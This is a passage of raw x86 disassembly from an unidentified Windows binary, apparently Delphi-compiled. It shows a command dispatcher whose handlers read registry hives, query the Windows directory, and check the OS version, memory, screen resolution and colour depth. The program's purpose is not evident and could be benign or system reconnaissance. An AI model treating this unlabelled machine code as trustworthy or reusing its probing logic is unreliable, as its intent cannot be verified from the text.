call fcn.005af6f8
mov eax, dword [ebp - 0x2088]
lea edx, [ebp - 0x2084]
call fcn.0058ff30
mov eax, dword [ebp - 0x2084]
call fcn.005936d4
push eax
mov eax, dword [ebp - 0x420]
call fcn.0040b328
push eax
mov eax, dword [ebp - 0x428]
call fcn.0040b328
push eax
lea eax, [ebp - 0x2094]
push eax
lea ecx, [ebp - 0x2098]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2098]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2094]
lea edx, [ebp - 0x2090]
call fcn.0058ff30
mov eax, dword [ebp - 0x2090]
call fcn.005936d4
push eax
lea edx, [ebp - 0x209c]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0x209c]
push eax
lea edx, [ebp - 0x20a0]
mov eax, dword [ebp - 0x3d8]
call fcn.0058ff30
mov eax, dword [ebp - 0x20a0]
push eax
lea eax, [ebp - 0x20a8]
push eax
lea ecx, [ebp - 0x20ac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20ac]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x20a8]
lea edx, [ebp - 0x20a4]
call fcn.0058ff30
mov eax, dword [ebp - 0x20a4]
call fcn.005936d4
push eax
lea eax, [ebp - 0x20b4]
push eax
lea ecx, [ebp - 0x20b8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20b8]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x20b4]
lea edx, [ebp - 0x20b0]
call fcn.0058ff30
mov eax, dword [ebp - 0x20b0]
call fcn.005936d4
push eax
lea eax, [ebp - 0x20c0]
push eax
lea ecx, [ebp - 0x20c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20c4]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x20c0]
lea edx, [ebp - 0x20bc]
call fcn.0058ff30
mov eax, dword [ebp - 0x20bc]
call fcn.005936d4
push eax
lea eax, [ebp - 0x20cc]
push eax
lea ecx, [ebp - 0x20d0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20d0]
mov ecx, 0x11
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x20cc]
lea edx, [ebp - 0x20c8]
call fcn.0058ff30
mov eax, dword [ebp - 0x20c8]
push eax
mov eax, dword [ebp - 0x424]
push eax
lea eax, [ebp - 0x20d8]
push eax
lea ecx, [ebp - 0x20dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20dc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x20d8]
lea edx, [ebp - 0x20d4]
call fcn.0058ff30
mov eax, dword [ebp - 0x20d4]
push eax
lea eax, [ebp - 0x20e4]
push eax
lea ecx, [ebp - 0x20e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x20e8]
mov ecx, 0x12
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x20e4]
lea edx, [ebp - 0x20e0]
call fcn.0058ff30
mov eax, dword [ebp - 0x20e0]
call fcn.0040b328
push eax
lea edx, [ebp - 0x20ec]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x20ec]
pop edx
pop ecx
call fcn.0057baac
test al, al
je 0x5a61d3
mov eax, dword [ebp - 0x42c]
mov edx, 0x5ad684
call fcn.00405ec0
je 0x5a61d3
mov eax, dword [ebp - 0x42c]
mov edx, 0x5aeccc
call fcn.00405ec0
jne 0x5a6034
lea eax, [ebp - 0x42c]
mov edx, 0x5aecd8
call fcn.00405b30
mov eax, dword [ebp - 0x42c]
mov edx, 0x5aecec
call fcn.00405ec0
jne 0x5a6056
lea eax, [ebp - 0x42c]
mov edx, 0x5aecf8
call fcn.00405b30
lea edx, [ebp - 0x20f0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
cmp dword [ebp - 0x20f0], 0
jne 0x5a6082
lea eax, [ebp - 0x434]
mov edx, 0x5aed0c
call fcn.00405b30
jmp 0x5a60a9
lea edx, [ebp - 0x20f4]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov ecx, dword [ebp - 0x20f4]
lea eax, [ebp - 0x434]
mov edx, 0x5aed1c
call fcn.00405db0
push 0x5aed2c
lea eax, [ebp - 0x20fc]
push eax
lea ecx, [ebp - 0x2100]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2100]
mov ecx, 0x12
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x20fc]
lea edx, [ebp - 0x20f8]
call fcn.0058ff30
push dword [ebp - 0x20f8]
push 0x5aed3c
push dword [ebp - 0x434]
lea eax, [ebp - 0x434]
mov edx, 4
call fcn.00405e2c
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x2108]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x2108]
lea edx, [ebp - 0x2104]
call fcn.00589dcc
push dword [ebp - 0x2104]
push 0x5aed48
push dword [ebp - 0x42c]
push 0x5aed6c
lea eax, [ebp - 0x3c0]
mov edx, 4
call fcn.00405e2c
mov eax, esi
call fcn.00402fdc
push 0
push 1
lea edx, [ebp - 0x2110]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x2110]
lea edx, [ebp - 0x210c]
call fcn.00589dcc
mov eax, dword [ebp - 0x210c]
push eax
push 0x5aed88
push dword [ebp - 0x434]
push 0x5adc58
lea eax, [ebp - 0x2114]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x2114]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a61e7
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aed98
call fcn.00405ec0
jne 0x5a62be
lea edx, [ebp - 0x2118]
mov eax, 0x5ad8cc
call fcn.0058fff8
mov edx, dword [ebp - 0x2118]
mov eax, dword [0x5d5090]
call fcn.00405aec
lea eax, [ebp - 0x211c]
push eax
lea ecx, [ebp - 0x2120]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2120]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x211c]
lea edx, [ebp - 0x3b0]
call fcn.0058ff30
xor eax, eax
push ebp
push 0x5a62af
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3b0]
call fcn.0040b328
call fcn.0057cb04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aedb0
call fcn.00405ec0
jne 0x5a63eb
lea edx, [ebp - 0x2124]
mov eax, 0x5ad8cc
call fcn.0058fff8
mov edx, dword [ebp - 0x2124]
mov eax, dword [0x5d5090]
call fcn.00405aec
xor eax, eax
push ebp
push 0x5a63e4
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
xor eax, eax
push ebp
push 0x5a63bd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x212c]
push eax
lea ecx, [ebp - 0x2130]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2130]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x212c]
lea edx, [ebp - 0x2128]
call fcn.0058ff30
mov eax, dword [ebp - 0x2128]
push eax
lea eax, [ebp - 0x2138]
push eax
lea ecx, [ebp - 0x213c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x213c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2138]
lea edx, [ebp - 0x2134]
call fcn.0058ff30
mov eax, dword [ebp - 0x2134]
call fcn.0040b328
pop edx
call fcn.0057c4f0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a63c7
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aedd0
call fcn.00405ec0
jne 0x5a64dd
lea edx, [ebp - 0x2140]
mov eax, 0x5ad8cc
call fcn.0058fff8
mov edx, dword [ebp - 0x2140]
mov eax, dword [0x5d5090]
call fcn.00405aec
lea eax, [ebp - 0x2144]
push eax
lea ecx, [ebp - 0x2148]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2148]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2144]
lea edx, [ebp - 0x3b0]
call fcn.0058ff30
xor eax, eax
push ebp
push 0x5a64ce
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x214c]
push eax
lea ecx, [ebp - 0x2150]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2150]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x214c]
call fcn.0040b328
push eax
mov eax, dword [ebp - 0x3b0]
call fcn.0040b328
pop edx
call fcn.0057c8c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aedec
call fcn.00405ec0
je 0x5a6505
mov eax, dword [ebp - 0x438]
mov edx, 0x5aee04
call fcn.00405ec0
jne 0x5a6a4e
xor eax, eax
push ebp
push 0x5a696e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059247c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2154]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2154]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a6595
lea edx, [ebp - 0x2158]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x2158]
push eax
lea eax, [ebp - 0x215c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x215c]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x2160]
push eax
lea ecx, [ebp - 0x2164]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2164]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2160]
call fcn.0040b328
cmp eax, 4
ja case.default.0x5a65d7
jmp dword [eax*4 + 0x5a65de]
mov dword [ebp - 0x54c], 0x80000000
jmp case.default.0x5a65d7
mov dword [ebp - 0x54c], 0x80000001
jmp case.default.0x5a65d7
mov dword [ebp - 0x54c], 0x80000002
jmp case.default.0x5a65d7
mov dword [ebp - 0x54c], 0x80000003
jmp case.default.0x5a65d7
mov dword [ebp - 0x54c], 0x80000005
lea eax, [ebp - 0x3c0]
call fcn.00405a98
xor eax, eax
push ebp
push 0x5a6941
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
mov edx, dword [ebp - 0x54c]
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [0x5d4b0c]
mov eax, dword [eax]
or eax, 0x20019
mov edx, dword [ebp - 0x53c]
mov dword [edx + 0x18], eax
lea eax, [ebp - 0x216c]
push eax
lea ecx, [ebp - 0x2170]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2170]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x216c]
lea edx, [ebp - 0x2168]
call fcn.0058ff30
mov edx, dword [ebp - 0x2168]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
test al, al
je 0x5a691c
lea eax, [ebp - 0x2178]
push eax
lea ecx, [ebp - 0x217c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x217c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2178]
lea edx, [ebp - 0x2174]
call fcn.0058ff30
mov edx, dword [ebp - 0x2174]
mov eax, dword [ebp - 0x53c]
call fcn.00431278
test al, al
je 0x5a68ff
lea eax, [ebp - 0x2184]
push eax
lea ecx, [ebp - 0x2188]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2188]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2184]
lea edx, [ebp - 0x2180]
call fcn.0058ff30
mov edx, dword [ebp - 0x2180]
lea ecx, [ebp - 0x608]
mov eax, dword [ebp - 0x53c]
call fcn.00430fe8
movzx eax, byte [ebp - 0x608]
cmp eax, 4
ja case.default.0x5a67a1
jmp dword [eax*4 + 0x5a67a8]
lea eax, [ebp - 0x2190]
push eax
lea ecx, [ebp - 0x2194]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2194]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2190]
lea edx, [ebp - 0x218c]
call fcn.0058ff30
mov edx, dword [ebp - 0x218c]
lea ecx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x53c]
call fcn.00431090
jmp case.default.0x5a67a1
lea eax, [ebp - 0x219c]
push eax
lea ecx, [ebp - 0x21a0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21a0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x219c]
lea edx, [ebp - 0x2198]
call fcn.0058ff30
mov edx, dword [ebp - 0x2198]
lea ecx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x53c]
call fcn.00431090
jmp case.default.0x5a67a1
lea eax, [ebp - 0x21a8]
push eax
lea ecx, [ebp - 0x21ac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21ac]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x21a8]
lea edx, [ebp - 0x21a4]
call fcn.0058ff30
mov edx, dword [ebp - 0x21a4]
mov eax, dword [ebp - 0x53c]
call fcn.00431108
lea edx, [ebp - 0x3c0]
call fcn.0040b1ec
jmp case.default.0x5a67a1
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee1c
call fcn.00405b30
jmp case.default.0x5a67a1
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee34
call fcn.00405b30
jmp case.default.0x5a67a1
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee4c
call fcn.00405b30
mov eax, dword [ebp - 0x53c]
call fcn.00430994
jmp 0x5a692c
lea eax, [ebp - 0x3c0]
mov edx, 0x5aee60
call fcn.00405b30
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a695b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a6975
call fcn.005924cc
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5aee84
call fcn.00405ec0
jne 0x5a6d48
xor eax, eax
push ebp
push 0x5a6d41
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059247c
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x21b4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21b4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a6af9
lea edx, [ebp - 0x21b8]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x21b8]
push eax
lea eax, [ebp - 0x21bc]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x21bc]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x550]
lea edx, [ebp - 0x54c]
lea eax, [ebp - 0x57d]
call fcn.0058b188
lea eax, [ebp - 0x21c0]
push eax
lea ecx, [ebp - 0x21c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21c4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x21c0]
call fcn.005936d4
test al, al
je 0x5a6ce1
lea eax, [ebp - 0x3c0]
mov edx, 0x5aeea0
call fcn.00405b30
cmp byte [ebp - 0x57d], 0
je 0x5a6c57
cmp dword [ebp - 0x54c], 4
jne 0x5a6b9b
cmp dword [ebp - 0x550], 0
jne 0x5a6b9b
lea eax, [ebp - 0x3c0]
mov edx, 0x5aeeb0
call fcn.00405b30
cmp dword [ebp - 0x54c], 5
jne 0x5a6bbd
cmp dword [ebp - 0x550], 0
jne 0x5a6bbd
lea eax, [ebp - 0x3c0]
mov edx, 0x5aeebc
call fcn.00405b30
cmp dword [ebp - 0x54c], 5
jne 0x5a6bdf
cmp dword [ebp - 0x550], 1
jne 0x5a6bdf
lea eax, [ebp - 0x3c0]
mov edx, 0x5aeecc
call fcn.00405b30
cmp dword [ebp - 0x54c], 5
jne 0x5a6c01
cmp dword [ebp - 0x550], 2
jne 0x5a6c01
lea eax, [ebp - 0x3c0]
mov edx, 0x5aeed8
call fcn.00405b30
cmp dword [ebp - 0x54c], 6
jne 0x5a6cf2
cmp dword [ebp - 0x550], 0
jne 0x5a6cf2
cmp dword [ebp - 0x600], 1
jl 0x5a6c42
call fcn.0058e1e0
test al, al
je 0x5a6c42
lea eax, [ebp - 0x3c0]
mov edx, 0x5aeee8
call fcn.00405b30
jmp 0x5a6cf2
lea eax, [ebp - 0x3c0]
mov edx, 0x5aeef8
call fcn.00405b30
jmp 0x5a6cf2
cmp dword [ebp - 0x54c], 4
jne 0x5a6c79
cmp dword [ebp - 0x550], 0
jne 0x5a6c79
lea eax, [ebp - 0x3c0]
mov edx, 0x5aef08
call fcn.00405b30
cmp dword [ebp - 0x54c], 4
jne 0x5a6c9b
cmp dword [ebp - 0x550], 0xa
jne 0x5a6c9b
lea eax, [ebp - 0x3c0]
mov edx, 0x5aef14
call fcn.00405b30
cmp dword [ebp - 0x54c], 4
jne 0x5a6cbd
cmp dword [ebp - 0x550], 0xb
jne 0x5a6cbd
lea eax, [ebp - 0x3c0]
mov edx, 0x5aef20
call fcn.00405b30
cmp dword [ebp - 0x54c], 4
jne 0x5a6cf2
cmp dword [ebp - 0x550], 0x5a
jne 0x5a6cf2
lea eax, [ebp - 0x3c0]
mov edx, 0x5aef30
call fcn.00405b30
jmp 0x5a6cf2
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x600]
call fcn.0040b1ec
lea eax, [ebp - 0x21c8]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x21c8]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aef3c
call fcn.00405ec0
jne 0x5a7ef6
xor eax, eax
push ebp
push 0x5a7eef
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059247c
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x21cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21cc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a6df3
lea edx, [ebp - 0x21d0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x21d0]
push eax
lea eax, [ebp - 0x21d4]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x21d4]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x21d8]
push eax
lea ecx, [ebp - 0x21dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21dc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x21d8]
call fcn.0040b328
cmp eax, 0x4d
ja case.default.0x5a6e40
movzx eax, byte [eax + 0x5a6e47]
jmp dword [eax*4 + 0x5a6e95]
call fcn.0058a818
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
call fcn.0058a8e0
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
lea eax, [ebp - 0x21e0]
push eax
lea ecx, [ebp - 0x21e4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21e4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x21e0]
call fcn.0040b328
cmp eax, 7
ja case.0x5a6f7d.0
jmp dword [eax*4 + 0x5a6f84]
mov dword [ebp - 0x54c], 0x20
jmp case.0x5a6f7d.0
mov dword [ebp - 0x54c], 0x40
jmp case.0x5a6f7d.0
mov dword [ebp - 0x54c], 0x80
jmp case.0x5a6f7d.0
mov dword [ebp - 0x54c], pe_nt_image_headers32
jmp case.0x5a6f7d.0
mov dword [ebp - 0x54c], 0x200
jmp case.0x5a6f7d.0
mov dword [ebp - 0x54c], 0x400
jmp case.0x5a6f7d.0
mov dword [ebp - 0x54c], 0x800
mov eax, dword [ebp - 0x54c]
sub eax, 2
shl eax, 0xa
shl eax, 0xa
mov dword [ebp - 0x54c], eax
lea eax, [ebp - 0x5e0]
push eax
lea ecx, [ebp - 0x5d8]
lea edx, [ebp - 0x5d0]
mov al, 1
call fcn.0058adb4
mov eax, dword [ebp - 0x54c]
cdq
cmp edx, dword [ebp - 0x5cc]
jne 0x5a703f
cmp eax, dword [ebp - 0x5d0]
setbe al
jmp 0x5a7042
setle al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
lea eax, [ebp - 0x21e8]
push eax
lea ecx, [ebp - 0x21ec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21ec]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x21e8]
call fcn.0040b328
add eax, 0xfffffff8
cmp eax, 4
ja case.default.0x5a709b
jmp dword [eax*4 + 0x5a70a2]
mov dword [ebp - 0x54c], 0x320
mov dword [ebp - 0x550], 0x258
jmp case.default.0x5a709b
mov dword [ebp - 0x54c], 0x400
mov dword [ebp - 0x550], 0x300
jmp case.default.0x5a709b
mov dword [ebp - 0x54c], 0x500
mov dword [ebp - 0x550], 0x400
jmp case.default.0x5a709b
mov dword [ebp - 0x54c], 0x640
mov dword [ebp - 0x550], 0x4b0
jmp case.default.0x5a709b
mov dword [ebp - 0x54c], 0x780
mov dword [ebp - 0x550], 0x5a0
lea edx, [ebp - 0x5e8]
lea eax, [ebp - 0x5e4]
call fcn.0058b16c
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0x54c]
jl 0x5a714f
mov eax, dword [ebp - 0x5e8]
cmp eax, dword [ebp - 0x550]
jge 0x5a716f
mov eax, dword [ebp - 0x5e8]
cmp eax, dword [ebp - 0x54c]
jl 0x5a716b
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0x550]
jge 0x5a716f
xor eax, eax
jmp 0x5a7171
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
lea eax, [ebp - 0x21f0]
push eax
lea ecx, [ebp - 0x21f4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21f4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x21f0]
call fcn.0040b328
sub eax, 0xd
je 0x5a71ce
dec eax
je 0x5a71da
dec eax
je 0x5a71e6
dec eax
je 0x5a71f2
jmp 0x5a71fc
mov dword [ebp - 0x54c], 8
jmp 0x5a71fc
mov dword [ebp - 0x54c], 0x10
jmp 0x5a71fc
mov dword [ebp - 0x54c], 0x18
jmp 0x5a71fc
mov dword [ebp - 0x54c], 0x20
lea edx, [ebp - 0x5f4]
lea eax, [ebp - 0x5f0]
call fcn.0058aba0
mov eax, dword [ebp - 0x5f4]
cmp eax, dword [ebp - 0x54c]
setge al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
mov eax, dword [0x5d5110]
cmp dword [eax], 2
setne al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
mov eax, dword [0x5d5110]
cmp dword [eax], 2
sete al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
lea eax, [ebp - 0x21f8]
push eax
lea ecx, [ebp - 0x21fc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x21fc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x21f8]
call fcn.0040b328
cmp eax, 0x18
jg 0x5a72d1
je 0x5a736b
add eax, 0xffffffed
cmp eax, 4
ja case.default.0x5a72b6
jmp dword [eax*4 + 0x5a72bd]
sub eax, 0x19
je 0x5a737f
dec eax
je 0x5a7395
sub eax, 0x2b
je 0x5a73ab
sub eax, 7
je 0x5a73bf
jmp case.default.0x5a72b6
mov dword [ebp - 0x54c], 4
xor eax, eax
mov dword [ebp - 0x550], eax
jmp case.default.0x5a72b6
mov dword [ebp - 0x54c], 4
mov dword [ebp - 0x550], 0xa
jmp case.default.0x5a72b6
mov dword [ebp - 0x54c], 4
mov dword [ebp - 0x550], 0xb
jmp case.default.0x5a72b6
mov dword [ebp - 0x54c], 4
mov dword [ebp - 0x550], 0x5a
jmp case.default.0x5a72b6
mov dword [ebp - 0x54c], 4
xor eax, eax
mov dword [ebp - 0x550], eax
jmp case.default.0x5a72b6
mov dword [ebp - 0x54c], 5
xor eax, eax
mov dword [ebp - 0x550], eax
jmp case.default.0x5a72b6
mov dword [ebp - 0x54c], 5
mov dword [ebp - 0x550], 1
jmp case.default.0x5a72b6
mov dword [ebp - 0x54c], 5
mov dword [ebp - 0x550], 2
jmp case.default.0x5a72b6
mov dword [ebp - 0x54c], 6
xor eax, eax
